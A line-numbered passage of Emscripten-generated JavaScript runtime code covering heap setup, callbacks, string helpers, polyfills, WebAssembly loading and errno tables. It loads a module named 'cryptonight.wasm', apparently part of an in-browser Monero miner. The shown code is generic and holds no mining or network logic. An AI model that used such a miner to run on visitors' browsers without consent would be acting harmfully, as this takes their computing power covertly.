  908. function demangleAll(text) {
  909.     var regex = /__Z[\w\d_]+/g;
  910.     return text.replace(regex, (function(x) {
  911.         var y = demangle(x);
  912.         return x === y ? x : x + " [" + y + "]"
  913.     }
  914.     ))
  915. }
  916. function jsStackTrace() {
  917.     var err = new Error;
  918.     if (!err.stack) {
  919.         try {
  920.             throw new Error(0)
  921.         } catch (e) {
  922.             err = e
  923.         }
  924.         if (!err.stack) {
  925.             return "(no stack trace available)"
  926.         }
  927.     }
  928.     return err.stack.toString()
  929. }
  930. function stackTrace() {
  931.     var js = jsStackTrace();
  932.     if (Module["extraStackTrace"])
  933.         js += "\n" + Module["extraStackTrace"]();
  934.     return demangleAll(js)
  935. }
  936. Module["stackTrace"] = stackTrace;
  937. var WASM_PAGE_SIZE = 65536;
  938. var ASMJS_PAGE_SIZE = 16777216;
  939. function alignUp(x, multiple) {
  940.     if (x % multiple > 0) {
  941.         x += multiple - x % multiple
  942.     }
  943.     return x
  944. }
  945. var HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64;
  946. function updateGlobalBuffer(buf) {
  947.     Module["buffer"] = buffer = buf
  948. }
  949. function updateGlobalBufferViews() {
  950.     Module["HEAP8"] = HEAP8 = new Int8Array(buffer);
  951.     Module["HEAP16"] = HEAP16 = new Int16Array(buffer);
  952.     Module["HEAP32"] = HEAP32 = new Int32Array(buffer);
  953.     Module["HEAPU8"] = HEAPU8 = new Uint8Array(buffer);
  954.     Module["HEAPU16"] = HEAPU16 = new Uint16Array(buffer);
  955.     Module["HEAPU32"] = HEAPU32 = new Uint32Array(buffer);
  956.     Module["HEAPF32"] = HEAPF32 = new Float32Array(buffer);
  957.     Module["HEAPF64"] = HEAPF64 = new Float64Array(buffer)
  958. }
  959. var STATIC_BASE, STATICTOP, staticSealed;
  960. var STACK_BASE, STACKTOP, STACK_MAX;
  961. var DYNAMIC_BASE, DYNAMICTOP_PTR;
  962. STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;
  963. staticSealed = false;
  964. function abortOnCannotGrowMemory() {
  965.     abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")
  966. }
  967. function enlargeMemory() {
  968.     abortOnCannotGrowMemory()
  969. }
  970. var TOTAL_STACK = Module["TOTAL_STACK"] || 5242880;
  971. var TOTAL_MEMORY = Module["TOTAL_MEMORY"] || 16777216;
  972. if (TOTAL_MEMORY < TOTAL_STACK)
  973.     Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")");
  974. if (Module["buffer"]) {
  975.     buffer = Module["buffer"]
  976. } else {
  977.     if (typeof WebAssembly === "object" && typeof WebAssembly.Memory === "function") {
  978.         Module["wasmMemory"] = new WebAssembly.Memory({
  979.             "initial": TOTAL_MEMORY / WASM_PAGE_SIZE,
  980.             "maximum": TOTAL_MEMORY / WASM_PAGE_SIZE
  981.         });
  982.         buffer = Module["wasmMemory"].buffer
  983.     } else {
  984.         buffer = new ArrayBuffer(TOTAL_MEMORY)
  985.     }
  986. }
  987. updateGlobalBufferViews();
  988. function getTotalMemory() {
  989.     return TOTAL_MEMORY
  990. }
  991. HEAP32[0] = 1668509029;
  992. HEAP16[1] = 25459;
  993. if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99)
  994.     throw "Runtime error: expected the system to be little-endian!";
  995. Module["HEAP"] = HEAP;
  996. Module["buffer"] = buffer;
  997. Module["HEAP8"] = HEAP8;
  998. Module["HEAP16"] = HEAP16;
  999. Module["HEAP32"] = HEAP32;
  1000. Module["HEAPU8"] = HEAPU8;
  1001. Module["HEAPU16"] = HEAPU16;
  1002. Module["HEAPU32"] = HEAPU32;
  1003. Module["HEAPF32"] = HEAPF32;
  1004. Module["HEAPF64"] = HEAPF64;
  1005. function callRuntimeCallbacks(callbacks) {
  1006.     while (callbacks.length > 0) {
  1007.         var callback = callbacks.shift();
  1008.         if (typeof callback == "function") {
  1009.             callback();
  1010.             continue
  1011.         }
  1012.         var func = callback.func;
  1013.         if (typeof func === "number") {
  1014.             if (callback.arg === undefined) {
  1015.                 Module["dynCall_v"](func)
  1016.             } else {
  1017.                 Module["dynCall_vi"](func, callback.arg)
  1018.             }
  1019.         } else {
  1020.             func(callback.arg === undefined ? null : callback.arg)
  1021.         }
  1022.     }
  1023. }
  1024. var __ATPRERUN__ = [];
  1025. var __ATINIT__ = [];
  1026. var __ATMAIN__ = [];
  1027. var __ATEXIT__ = [];
  1028. var __ATPOSTRUN__ = [];
  1029. var runtimeInitialized = false;
  1030. var runtimeExited = false;
  1031. function preRun() {
  1032.     if (Module["preRun"]) {
  1033.         if (typeof Module["preRun"] == "function")
  1034.             Module["preRun"] = [Module["preRun"]];
  1035.         while (Module["preRun"].length) {
  1036.             addOnPreRun(Module["preRun"].shift())
  1037.         }
  1038.     }
  1039.     callRuntimeCallbacks(__ATPRERUN__)
  1040. }
  1041. function ensureInitRuntime() {
  1042.     if (runtimeInitialized)
  1043.         return;
  1044.     runtimeInitialized = true;
  1045.     callRuntimeCallbacks(__ATINIT__)
  1046. }
  1047. function preMain() {
  1048.     callRuntimeCallbacks(__ATMAIN__)
  1049. }
  1050. function exitRuntime() {
  1051.     callRuntimeCallbacks(__ATEXIT__);
  1052.     runtimeExited = true
  1053. }
  1054. function postRun() {
  1055.     if (Module["postRun"]) {
  1056.         if (typeof Module["postRun"] == "function")
  1057.             Module["postRun"] = [Module["postRun"]];
  1058.         while (Module["postRun"].length) {
  1059.             addOnPostRun(Module["postRun"].shift())
  1060.         }
  1061.     }
  1062.     callRuntimeCallbacks(__ATPOSTRUN__)
  1063. }
  1064. function addOnPreRun(cb) {
  1065.     __ATPRERUN__.unshift(cb)
  1066. }
  1067. Module["addOnPreRun"] = addOnPreRun;
  1068. function addOnInit(cb) {
  1069.     __ATINIT__.unshift(cb)
  1070. }
  1071. Module["addOnInit"] = addOnInit;
  1072. function addOnPreMain(cb) {
  1073.     __ATMAIN__.unshift(cb)
  1074. }
  1075. Module["addOnPreMain"] = addOnPreMain;
  1076. function addOnExit(cb) {
  1077.     __ATEXIT__.unshift(cb)
  1078. }
  1079. Module["addOnExit"] = addOnExit;
  1080. function addOnPostRun(cb) {
  1081.     __ATPOSTRUN__.unshift(cb)
  1082. }
  1083. Module["addOnPostRun"] = addOnPostRun;
  1084. function intArrayFromString(stringy, dontAddNull, length) {
  1085.     var len = length > 0 ? length : lengthBytesUTF8(stringy) + 1;
  1086.     var u8array = new Array(len);
  1087.     var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length);
  1088.     if (dontAddNull)
  1089.         u8array.length = numBytesWritten;
  1090.     return u8array
  1091. }
  1092. Module["intArrayFromString"] = intArrayFromString;
  1093. function intArrayToString(array) {
  1094.     var ret = [];
  1095.     for (var i = 0; i < array.length; i++) {
  1096.         var chr = array[i];
  1097.         if (chr > 255) {
  1098.             chr &= 255
  1099.         }
  1100.         ret.push(String.fromCharCode(chr))
  1101.     }
  1102.     return ret.join("")
  1103. }
  1104. Module["intArrayToString"] = intArrayToString;
  1105. function writeStringToMemory(string, buffer, dontAddNull) {
  1106.     Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");
  1107.     var lastChar, end;
  1108.     if (dontAddNull) {
  1109.         end = buffer + lengthBytesUTF8(string);
  1110.         lastChar = HEAP8[end]
  1111.     }
  1112.     stringToUTF8(string, buffer, Infinity);
  1113.     if (dontAddNull)
  1114.         HEAP8[end] = lastChar
  1115. }
  1116. Module["writeStringToMemory"] = writeStringToMemory;
  1117. function writeArrayToMemory(array, buffer) {
  1118.     HEAP8.set(array, buffer)
  1119. }
  1120. Module["writeArrayToMemory"] = writeArrayToMemory;
  1121. function writeAsciiToMemory(str, buffer, dontAddNull) {
  1122.     for (var i = 0; i < str.length; ++i) {
  1123.         HEAP8[buffer++ >> 0] = str.charCodeAt(i)
  1124.     }
  1125.     if (!dontAddNull)
  1126.         HEAP8[buffer >> 0] = 0
  1127. }
  1128. Module["writeAsciiToMemory"] = writeAsciiToMemory;
  1129. if (!Math["imul"] || Math["imul"](4294967295, 5) !== -5)
  1130.     Math["imul"] = function imul(a, b) {
  1131.         var ah = a >>> 16;
  1132.         var al = a & 65535;
  1133.         var bh = b >>> 16;
  1134.         var bl = b & 65535;
  1135.         return al * bl + (ah * bl + al * bh << 16) | 0
  1136.     }
  1137.     ;
  1138. Math.imul = Math["imul"];
  1139. if (!Math["fround"]) {
  1140.     var froundBuffer = new Float32Array(1);
  1141.     Math["fround"] = (function(x) {
  1142.         froundBuffer[0] = x;
  1143.         return froundBuffer[0]
  1144.     }
  1145.     )
  1146. }
  1147. Math.fround = Math["fround"];
  1148. if (!Math["clz32"])
  1149.     Math["clz32"] = (function(x) {
  1150.         x = x >>> 0;
  1151.         for (var i = 0; i < 32; i++) {
  1152.             if (x & 1 << 31 - i)
  1153.                 return i
  1154.         }
  1155.         return 32
  1156.     }
  1157.     );
  1158. Math.clz32 = Math["clz32"];
  1159. if (!Math["trunc"])
  1160.     Math["trunc"] = (function(x) {
  1161.         return x < 0 ? Math.ceil(x) : Math.floor(x)
  1162.     }
  1163.     );
  1164. Math.trunc = Math["trunc"];
  1165. var Math_abs = Math.abs;
  1166. var Math_cos = Math.cos;
  1167. var Math_sin = Math.sin;
  1168. var Math_tan = Math.tan;
  1169. var Math_acos = Math.acos;
  1170. var Math_asin = Math.asin;
  1171. var Math_atan = Math.atan;
  1172. var Math_atan2 = Math.atan2;
  1173. var Math_exp = Math.exp;
  1174. var Math_log = Math.log;
  1175. var Math_sqrt = Math.sqrt;
  1176. var Math_ceil = Math.ceil;
  1177. var Math_floor = Math.floor;
  1178. var Math_pow = Math.pow;
  1179. var Math_imul = Math.imul;
  1180. var Math_fround = Math.fround;
  1181. var Math_round = Math.round;
  1182. var Math_min = Math.min;
  1183. var Math_clz32 = Math.clz32;
  1184. var Math_trunc = Math.trunc;
  1185. var runDependencies = 0;
  1186. var runDependencyWatcher = null;
  1187. var dependenciesFulfilled = null;
  1188. function getUniqueRunDependency(id) {
  1189.     return id
  1190. }
  1191. function addRunDependency(id) {
  1192.     runDependencies++;
  1193.     if (Module["monitorRunDependencies"]) {
  1194.         Module["monitorRunDependencies"](runDependencies)
  1195.     }
  1196. }
  1197. Module["addRunDependency"] = addRunDependency;
  1198. function removeRunDependency(id) {
  1199.     runDependencies--;
  1200.     if (Module["monitorRunDependencies"]) {
  1201.         Module["monitorRunDependencies"](runDependencies)
  1202.     }
  1203.     if (runDependencies == 0) {
  1204.         if (runDependencyWatcher !== null) {
  1205.             clearInterval(runDependencyWatcher);
  1206.             runDependencyWatcher = null
  1207.         }
  1208.         if (dependenciesFulfilled) {
  1209.             var callback = dependenciesFulfilled;
  1210.             dependenciesFulfilled = null;
  1211.             callback()
  1212.         }
  1213.     }
  1214. }
  1215. Module["removeRunDependency"] = removeRunDependency;
  1216. Module["preloadedImages"] = {};
  1217. Module["preloadedAudios"] = {};
  1218. var memoryInitializer = null;
  1219. function integrateWasmJS(Module) {
  1220.     var method = Module["wasmJSMethod"] || "native-wasm";
  1221.     Module["wasmJSMethod"] = method;
  1222.     var wasmTextFile = Module["wasmTextFile"] || "cryptonight.wast";
  1223.     var wasmBinaryFile = Module["wasmBinaryFile"] || "cryptonight.wasm";
  1224.     var asmjsCodeFile = Module["asmjsCodeFile"] || "cryptonight.temp.asm.js";
  1225.     if (typeof Module["locateFile"] === "function") {
  1226.         wasmTextFile = Module["locateFile"](wasmTextFile);
  1227.         wasmBinaryFile = Module["locateFile"](wasmBinaryFile);
  1228.         asmjsCodeFile = Module["locateFile"](asmjsCodeFile)
  1229.     }
  1230.     var wasmPageSize = 64 * 1024;
  1231.     var asm2wasmImports = {
  1232.         "f64-rem": (function(x, y) {
  1233.             return x % y
  1234.         }
  1235.         ),
  1236.         "f64-to-int": (function(x) {
  1237.             return x | 0
  1238.         }
  1239.         ),
  1240.         "i32s-div": (function(x, y) {
  1241.             return (x | 0) / (y | 0) | 0
  1242.         }
  1243.         ),
  1244.         "i32u-div": (function(x, y) {
  1245.             return (x >>> 0) / (y >>> 0) >>> 0
  1246.         }
  1247.         ),
  1248.         "i32s-rem": (function(x, y) {
  1249.             return (x | 0) % (y | 0) | 0
  1250.         }
  1251.         ),
  1252.         "i32u-rem": (function(x, y) {
  1253.             return (x >>> 0) % (y >>> 0) >>> 0
  1254.         }
  1255.         ),
  1256.         "debugger": (function() {
  1257.             debugger
  1258.         }
  1259.         )
  1260.     };
  1261.     var info = {
  1262.         "global": null,
  1263.         "env": null,
  1264.         "asm2wasm": asm2wasmImports,
  1265.         "parent": Module
  1266.     };
  1267.     var exports = null;
  1268.     function lookupImport(mod, base) {
  1269.         var lookup = info;
  1270.         if (mod.indexOf(".") < 0) {
  1271.             lookup = (lookup || {})[mod]
  1272.         } else {
  1273.             var parts = mod.split(".");
  1274.             lookup = (lookup || {})[parts[0]];
  1275.             lookup = (lookup || {})[parts[1]]
  1276.         }
  1277.         if (base) {
  1278.             lookup = (lookup || {})[base]
  1279.         }
  1280.         if (lookup === undefined) {
  1281.             abort("bad lookupImport to (" + mod + ")." + base)
  1282.         }
  1283.         return lookup
  1284.     }
  1285.     function mergeMemory(newBuffer) {
  1286.         var oldBuffer = Module["buffer"];
  1287.         if (newBuffer.byteLength < oldBuffer.byteLength) {
  1288.             Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")
  1289.         }
  1290.         var oldView = new Int8Array(oldBuffer);
  1291.         var newView = new Int8Array(newBuffer);
  1292.         if (!memoryInitializer) {
  1293.             oldView.set(newView.subarray(Module["STATIC_BASE"], Module["STATIC_BASE"] + Module["STATIC_BUMP"]), Module["STATIC_BASE"])
  1294.         }
  1295.         newView.set(oldView);
  1296.         updateGlobalBuffer(newBuffer);
  1297.         updateGlobalBufferViews()
  1298.     }
  1299.     var WasmTypes = {
  1300.         none: 0,
  1301.         i32: 1,
  1302.         i64: 2,
  1303.         f32: 3,
  1304.         f64: 4
  1305.     };
  1306.     function fixImports(imports) {
  1307.         if (!0)
  1308.             return imports;
  1309.         var ret = {};
  1310.         for (var i in imports) {
  1311.             var fixed = i;
  1312.             if (fixed[0] == "_")
  1313.                 fixed = fixed.substr(1);
  1314.             ret[fixed] = imports[i]
  1315.         }
  1316.         return ret
  1317.     }
  1318.     function getBinary() {
  1319.         try {
  1320.             var binary;
  1321.             if (Module["wasmBinary"]) {
  1322.                 binary = Module["wasmBinary"];
  1323.                 binary = new Uint8Array(binary)
  1324.             } else if (Module["readBinary"]) {
  1325.                 binary = Module["readBinary"](wasmBinaryFile)
  1326.             } else {
  1327.                 throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)"
  1328.             }
  1329.             return binary
  1330.         } catch (err) {
  1331.             abort(err)
  1332.         }
  1333.     }
  1334.     function getBinaryPromise() {
  1335.         if (!Module["wasmBinary"] && typeof fetch === "function") {
  1336.             return fetch(wasmBinaryFile, {
  1337.                 credentials: "same-origin"
  1338.             }).then((function(response) {
  1339.                 if (!response["ok"]) {
  1340.                     throw "failed to load wasm binary file at '" + wasmBinaryFile + "'"
  1341.                 }
  1342.                 return response["arrayBuffer"]()
  1343.             }
  1344.             ))
  1345.         }
  1346.         return new Promise((function(resolve, reject) {
  1347.             resolve(getBinary())
  1348.         }
  1349.         ))
  1350.     }
  1351.     function doNativeWasm(global, env, providedBuffer) {
  1352.         if (typeof WebAssembly !== "object") {
  1353.             Module["printErr"]("no native wasm support detected");
  1354.             return false
  1355.         }
  1356.         if (!(Module["wasmMemory"]instanceof WebAssembly.Memory)) {
  1357.             Module["printErr"]("no native wasm Memory in use");
  1358.             return false
  1359.         }
  1360.         env["memory"] = Module["wasmMemory"];
  1361.         info["global"] = {
  1362.             "NaN": NaN,
  1363.             "Infinity": Infinity
  1364.         };
  1365.         info["global.Math"] = global.Math;
  1366.         info["env"] = env;
  1367.         function receiveInstance(instance) {
  1368.             exports = instance.exports;
  1369.             if (exports.memory)
  1370.                 mergeMemory(exports.memory);
  1371.             Module["asm"] = exports;
  1372.             Module["usingWasm"] = true;
  1373.             removeRunDependency("wasm-instantiate")
  1374.         }
  1375.         addRunDependency("wasm-instantiate");
  1376.         if (Module["instantiateWasm"]) {
  1377.             try {
  1378.                 return Module["instantiateWasm"](info, receiveInstance)
  1379.             } catch (e) {
  1380.                 Module["printErr"]("Module.instantiateWasm callback failed with error: " + e);
  1381.                 return false
  1382.             }
  1383.         }
  1384.         getBinaryPromise().then((function(binary) {
  1385.             return WebAssembly.instantiate(binary, info)
  1386.         }
  1387.         )).then((function(output) {
  1388.             receiveInstance(output["instance"])
  1389.         }
  1390.         )).catch((function(reason) {
  1391.             Module["printErr"]("failed to asynchronously prepare wasm: " + reason);
  1392.             abort(reason)
  1393.         }
  1394.         ));
  1395.         return {}
  1396.     }
  1397.     Module["asmPreload"] = Module["asm"];
  1398.     var asmjsReallocBuffer = Module["reallocBuffer"];
  1399.     var wasmReallocBuffer = (function(size) {
  1400.         var PAGE_MULTIPLE = Module["usingWasm"] ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE;
  1401.         size = alignUp(size, PAGE_MULTIPLE);
  1402.         var old = Module["buffer"];
  1403.         var oldSize = old.byteLength;
  1404.         if (Module["usingWasm"]) {
  1405.             try {
  1406.                 var result = Module["wasmMemory"].grow((size - oldSize) / wasmPageSize);
  1407.                 if (result !== (-1 | 0)) {
  1408.                     return Module["buffer"] = Module["wasmMemory"].buffer
  1409.                 } else {
  1410.                     return null
  1411.                 }
  1412.             } catch (e) {
  1413.                 return null
  1414.             }
  1415.         } else {
  1416.             exports["__growWasmMemory"]((size - oldSize) / wasmPageSize);
  1417.             return Module["buffer"] !== old ? Module["buffer"] : null
  1418.         }
  1419.     }
  1420.     );
  1421.     Module["reallocBuffer"] = (function(size) {
  1422.         if (finalMethod === "asmjs") {
  1423.             return asmjsReallocBuffer(size)
  1424.         } else {
  1425.             return wasmReallocBuffer(size)
  1426.         }
  1427.     }
  1428.     );
  1429.     var finalMethod = "";
  1430.     Module["asm"] = (function(global, env, providedBuffer) {
  1431.         global = fixImports(global);
  1432.         env = fixImports(env);
  1433.         if (!env["table"]) {
  1434.             var TABLE_SIZE = Module["wasmTableSize"];
  1435.             if (TABLE_SIZE === undefined)
  1436.                 TABLE_SIZE = 1024;
  1437.             var MAX_TABLE_SIZE = Module["wasmMaxTableSize"];
  1438.             if (typeof WebAssembly === "object" && typeof WebAssembly.Table === "function") {
  1439.                 if (MAX_TABLE_SIZE !== undefined) {
  1440.                     env["table"] = new WebAssembly.Table({
  1441.                         "initial": TABLE_SIZE,
  1442.                         "maximum": MAX_TABLE_SIZE,
  1443.                         "element": "anyfunc"
  1444.                     })
  1445.                 } else {
  1446.                     env["table"] = new WebAssembly.Table({
  1447.                         "initial": TABLE_SIZE,
  1448.                         element: "anyfunc"
  1449.                     })
  1450.                 }
  1451.             } else {
  1452.                 env["table"] = new Array(TABLE_SIZE)
  1453.             }
  1454.             Module["wasmTable"] = env["table"]
  1455.         }
  1456.         if (!env["memoryBase"]) {
  1457.             env["memoryBase"] = Module["STATIC_BASE"]
  1458.         }
  1459.         if (!env["tableBase"]) {
  1460.             env["tableBase"] = 0
  1461.         }
  1462.         var exports;
  1463.         exports = doNativeWasm(global, env, providedBuffer);
  1464.         return exports
  1465.     }
  1466.     );
  1467.     var methodHandler = Module["asm"]
  1468. }
  1469. integrateWasmJS(Module);
  1470. var ASM_CONSTS = [];
  1471. STATIC_BASE = Runtime.GLOBAL_BASE;
  1472. STATICTOP = STATIC_BASE + 12512;
  1473. __ATINIT__.push();
  1474. memoryInitializer = Module["wasmJSMethod"].indexOf("asmjs") >= 0 || Module["wasmJSMethod"].indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null;
  1475. var STATIC_BUMP = 12512;
  1476. Module["STATIC_BASE"] = STATIC_BASE;
  1477. Module["STATIC_BUMP"] = STATIC_BUMP;
  1478. var tempDoublePtr = STATICTOP;
  1479. STATICTOP += 16;
  1480. function ___assert_fail(condition, filename, line, func) {
  1481.     ABORT = true;
  1482.     throw "Assertion failed: " + Pointer_stringify(condition) + ", at: " + [filename ? Pointer_stringify(filename) : "unknown filename", line, func ? Pointer_stringify(func) : "unknown function"] + " at " + stackTrace()
  1483. }
  1484. var PROCINFO = {
  1485.     ppid: 1,
  1486.     pid: 42,
  1487.     sid: 42,
  1488.     pgid: 42
  1489. };
  1490. var ERRNO_CODES = {
  1491.     EPERM: 1,
  1492.     ENOENT: 2,
  1493.     ESRCH: 3,
  1494.     EINTR: 4,
  1495.     EIO: 5,
  1496.     ENXIO: 6,
  1497.     E2BIG: 7,
  1498.     ENOEXEC: 8,
  1499.     EBADF: 9,
  1500.     ECHILD: 10,
  1501.     EAGAIN: 11,
  1502.     EWOULDBLOCK: 11,
  1503.     ENOMEM: 12,
  1504.     EACCES: 13,
  1505.     EFAULT: 14,
  1506.     ENOTBLK: 15,
  1507.     EBUSY: 16,
  1508.     EEXIST: 17,
  1509.     EXDEV: 18,
  1510.     ENODEV: 19,
  1511.     ENOTDIR: 20,
  1512.     EISDIR: 21,
  1513.     EINVAL: 22,
  1514.     ENFILE: 23,
  1515.     EMFILE: 24,
  1516.     ENOTTY: 25,
  1517.     ETXTBSY: 26,
  1518.     EFBIG: 27,
  1519.     ENOSPC: 28,
  1520.     ESPIPE: 29,
  1521.     EROFS: 30,
  1522.     EMLINK: 31,
  1523.     EPIPE: 32,
  1524.     EDOM: 33,
  1525.     ERANGE: 34,
  1526.     ENOMSG: 42,
  1527.     EIDRM: 43,
  1528.     ECHRNG: 44,
  1529.     EL2NSYNC: 45,
  1530.     EL3HLT: 46,
  1531.     EL3RST: 47,
  1532.     ELNRNG: 48,
  1533.     EUNATCH: 49,
  1534.     ENOCSI: 50,
  1535.     EL2HLT: 51,
  1536.     EDEADLK: 35,
  1537.     ENOLCK: 37,
  1538.     EBADE: 52,
  1539.     EBADR: 53,
  1540.     EXFULL: 54,
  1541.     ENOANO: 55,
  1542.     EBADRQC: 56,
  1543.     EBADSLT: 57,
  1544.     EDEADLOCK: 35,
  1545.     EBFONT: 59,
  1546.     ENOSTR: 60,
  1547.     ENODATA: 61,
  1548.     ETIME: 62,
  1549.     ENOSR: 63,
  1550.     ENONET: 64,
  1551.     ENOPKG: 65,
  1552.     EREMOTE: 66,
  1553.     ENOLINK: 67,
  1554.     EADV: 68,
  1555.     ESRMNT: 69,
  1556.     ECOMM: 70,
  1557.     EPROTO: 71,
  1558.     EMULTIHOP: 72,
  1559.     EDOTDOT: 73,
  1560.     EBADMSG: 74,
  1561.     ENOTUNIQ: 76,
  1562.     EBADFD: 77,
  1563.     EREMCHG: 78,
  1564.     ELIBACC: 79,
  1565.     ELIBBAD: 80,
  1566.     ELIBSCN: 81,
  1567.     ELIBMAX: 82,
  1568.     ELIBEXEC: 83,
  1569.     ENOSYS: 38,
  1570.     ENOTEMPTY: 39,
  1571.     ENAMETOOLONG: 36,
  1572.     ELOOP: 40,
  1573.     EOPNOTSUPP: 95,
  1574.     EPFNOSUPPORT: 96,
  1575.     ECONNRESET: 104,
  1576.     ENOBUFS: 105,
  1577.     EAFNOSUPPORT: 97,
  1578.     EPROTOTYPE: 91,
  1579.     ENOTSOCK: 88,
  1580.     ENOPROTOOPT: 92,
  1581.     ESHUTDOWN: 108,
  1582.     ECONNREFUSED: 111,
  1583.     EADDRINUSE: 98,
  1584.     ECONNABORTED: 103,
  1585.     ENETUNREACH: 101,
  1586.     ENETDOWN: 100,
  1587.     ETIMEDOUT: 110,
  1588.     EHOSTDOWN: 112,
  1589.     EHOSTUNREACH: 113,
  1590.     EINPROGRESS: 115,
  1591.     EALREADY: 114,
  1592.     EDESTADDRREQ: 89,
  1593.     EMSGSIZE: 90,
  1594.     EPROTONOSUPPORT: 93,
  1595.     ESOCKTNOSUPPORT: 94,
  1596.     EADDRNOTAVAIL: 99,
  1597.     ENETRESET: 102,
  1598.     EISCONN: 106,
  1599.     ENOTCONN: 107,
  1600.     ETOOMANYREFS: 109,
  1601.     EUSERS: 87,
  1602.     EDQUOT: 122,
  1603.     ESTALE: 116,
  1604.     ENOTSUP: 95,
  1605.     ENOMEDIUM: 123,
  1606.     EILSEQ: 84,
  1607.     EOVERFLOW: 75,
  1608.     ECANCELED: 125,
  1609.     ENOTRECOVERABLE: 131,
  1610.     EOWNERDEAD: 130,
  1611.     ESTRPIPE: 86
  1612. };
  1613. var ERRNO_MESSAGES = {
  1614.     0: "Success",
  1615.     1: "Not super-user",
  1616.     2: "No such file or directory",
  1617.     3: "No such process",
  1618.     4: "Interrupted system call",
  1619.     5: "I/O error",
  1620.     6: "No such device or address",
  1621.     7: "Arg list too long",
  1622.     8: "Exec format error",
  1623.     9: "Bad file number",
  1624.     10: "No children",
  1625.     11: "No more processes",
  1626.     12: "Not enough core",
  1627.     13: "Permission denied",
  1628.     14: "Bad address",
  1629.     15: "Block device required",
  1630.     16: "Mount device busy",
  1631.     17: "File exists",
  1632.     18: "Cross-device link",
  1633.     19: "No such device",
  1634.     20: "Not a directory",
  1635.     21: "Is a directory",
  1636.     22: "Invalid argument",
  1637.     23: "Too many open files in system",
  1638.     24: "Too many open files",
  1639.     25: "Not a typewriter",
  1640.     26: "Text file busy",
  1641.     27: "File too large",
  1642.     28: "No space left on device",
  1643.     29: "Illegal seek",
  1644.     30: "Read only file system",
  1645.     31: "Too many links",
  1646.     32: "Broken pipe",
  1647.     33: "Math arg out of domain of func",
  1648.     34: "Math result not representable",
  1649.     35: "File locking deadlock error",
  1650.     36: "File or path name too long",
  1651.     37: "No record locks available",
  1652.     38: "Function not implemented",
  1653.     39: "Directory not empty",
  1654.     40: "Too many symbolic links",
  1655.     42: "No message of desired type",
  1656.     43: "Identifier removed",
  1657.     44: "Channel number out of range",
  1658.     45: "Level 2 not synchronized",
  1659.     46: "Level 3 halted",
  1660.     47: "Level 3 reset",
  1661.     48: "Link number out of range",
  1662.     49: "Protocol driver not attached",
  1663.     50: "No CSI structure available",
  1664.     51: "Level 2 halted",
  1665.     52: "Invalid exchange",
  1666.     53: "Invalid request descriptor",
  1667.     54: "Exchange full",
  1668.     55: "No anode",
  1669.     56: "Invalid request code",
  1670.     57: "Invalid slot",
  1671.     59: "Bad font file fmt",
  1672.     60: "Device not a stream",
  1673.     61: "No data (for no delay io)",
  1674.     62: "Timer expired",
  1675.     63: "Out of streams resources",
  1676.     64: "Machine is not on the network",
  1677.     65: "Package not installed",
  1678.     66: "The object is remote",
  1679.     67: "The link has been severed",
  1680.     68: "Advertise error",
  1681.     69: "Srmount error",
  1682.     70: "Communication error on send",
  1683.     71: "Protocol error",
  1684.     72: "Multihop attempted",
  1685.     73: "Cross mount point (not really error)",
  1686.     74: "Trying to read unreadable message",
  1687.     75: "Value too large for defined data type",
  1688.     76: "Given log. name not unique",
  1689.     77: "f.d. invalid for this operation",
  1690.     78: "Remote address changed",
  1691.     79: "Can access a needed shared lib",
  1692.     80: "Accessing a corrupted shared lib",
  1693.     81: ".lib section in a.out corrupted",
  1694.     82: "Attempting to link in too many libs",
  1695.     83: "Attempting to exec a shared library",
  1696.     84: "Illegal byte sequence",
  1697.     86: "Streams pipe error",
  1698.     87: "Too many users",
  1699.     88: "Socket operation on non-socket",
  1700.     89: "Destination address required",
  1701.     90: "Message too long",
  1702.     91: "Protocol wrong type for socket",
  1703.     92: "Protocol not available",
  1704.     93: "Unknown protocol",
  1705.     94: "Socket type not supported",
  1706.     95: "Not supported",
  1707.     96: "Protocol family not supported",
  1708.     97: "Address family not supported by protocol family",
  1709.     98: "Address already in use",
  1710.     99: "Address not available",
  1711.     100: "Network interface is not configured",
  1712.     101: "Network is unreachable",
  1713.     102: "Connection reset by network",
  1714.     103: "Connection aborted",
  1715.     104: "Connection reset by peer",
  1716.     105: "No buffer space available",
  1717.     106: "Socket is already connected",
  1718.     107: "Socket is not connected",
  1719.     108: "Can't send after socket shutdown",
  1720.     109: "Too many references",
  1721.     110: "Connection timed out",
  1722.     111: "Connection refused",
  1723.     112: "Host is down",
  1724.     113: "Host is unreachable",
  1725.     114: "Socket already connected",
  1726.     115: "Connection already in progress",
  1727.     116: "Stale file handle",
  1728.     122: "Quota exceeded",
  1729.     123: "No medium (in tape drive)",
  1730.     125: "Operation canceled",
  1731.     130: "Previous owner died",
  1732.     131: "State not recoverable"
  1733. };
  1734. function ___setErrNo(value) {
  1735.     if (Module["___errno_location"])
  1736.         HEAP32[Module["___errno_location"]() >> 2] = value;
  1737.     return value
  1738. }
  1739. var PATH = {
  1740.     splitPath: (function(filename) {
  1741.         var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;
  1742.         return splitPathRe.exec(filename).slice(1)
  1743.     }
  1744.     ),
  1745.     normalizeArray: (function(parts, allowAboveRoot) {
  1746.         var up = 0;
  1747.         for (var i = parts.length - 1; i >= 0; i--) {
  1748.             var last = parts[i];
  1749.             if (last === ".") {
  1750.                 parts.splice(i, 1)
  1751.             } else if (last === "..") {
  1752.                 parts.splice(i, 1);
  1753.                 up++
  1754.             } else if (up) {
  1755.                 parts.splice(i, 1);
